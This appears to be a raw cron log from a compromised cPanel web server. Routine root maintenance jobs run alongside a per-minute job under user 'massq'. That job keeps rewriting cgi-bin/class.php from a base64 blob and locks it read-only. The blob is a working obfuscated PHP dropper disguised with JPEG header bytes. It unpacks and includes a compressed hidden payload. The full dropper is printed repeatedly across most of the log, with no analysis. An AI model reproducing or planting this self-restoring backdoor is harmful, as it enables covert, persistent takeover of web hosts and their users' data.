Sep 10 12:10:01 server CROND[28266]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 12:10:01 server CROND[28268]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 12:10:01 server CROND[28271]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 12:10:01 server CROND[28278]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:10:01 server CROND[28280]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:10:01 server CROND[28283]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 12:10:01 server CROND[28279]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 12:10:01 server CROND[28282]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 12:11:01 server CROND[29170]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:11:01 server CROND[29171]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:11:01 server CROND[29172]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 12:12:01 server CROND[29536]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 12:12:01 server CROND[29537]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 12:12:01 server CROND[29538]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:12:01 server CROND[29539]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:13:01 server CROND[29998]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:13:01 server CROND[29999]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:13:01 server CROND[30000]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 12:14:01 server CROND[30379]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 12:14:01 server CROND[30385]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:14:01 server CROND[30386]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:15:01 server CROND[30759]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 12:15:01 server CROND[30761]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:15:01 server CROND[30763]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 12:15:01 server CROND[30766]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 12:15:01 server CROND[30764]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 10 12:15:01 server CROND[30768]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 12:15:01 server CROND[30771]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 10 12:15:01 server CROND[30772]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:15:01 server CROND[30773]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 12:15:01 server CROND[30774]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep 10 12:16:01 server CROND[31654]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:16:01 server CROND[31655]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:16:01 server CROND[31656]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 12:17:01 server CROND[32014]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:17:01 server CROND[32015]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 12:17:01 server CROND[32017]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:18:01 server CROND[32488]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:18:01 server CROND[32489]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:18:01 server CROND[32490]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 12:19:01 server CROND[456]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:19:01 server CROND[459]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 12:19:01 server CROND[460]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:20:01 server CROND[933]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 12:20:01 server CROND[935]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 12:20:01 server CROND[937]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 12:20:01 server CROND[938]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 12:20:01 server CROND[940]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 12:20:01 server CROND[943]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 12:20:01 server CROND[944]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:20:01 server CROND[939]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:20:01 server CROND[942]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 12:21:01 server CROND[1865]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:21:01 server CROND[1866]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 12:21:01 server CROND[1867]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5Uorz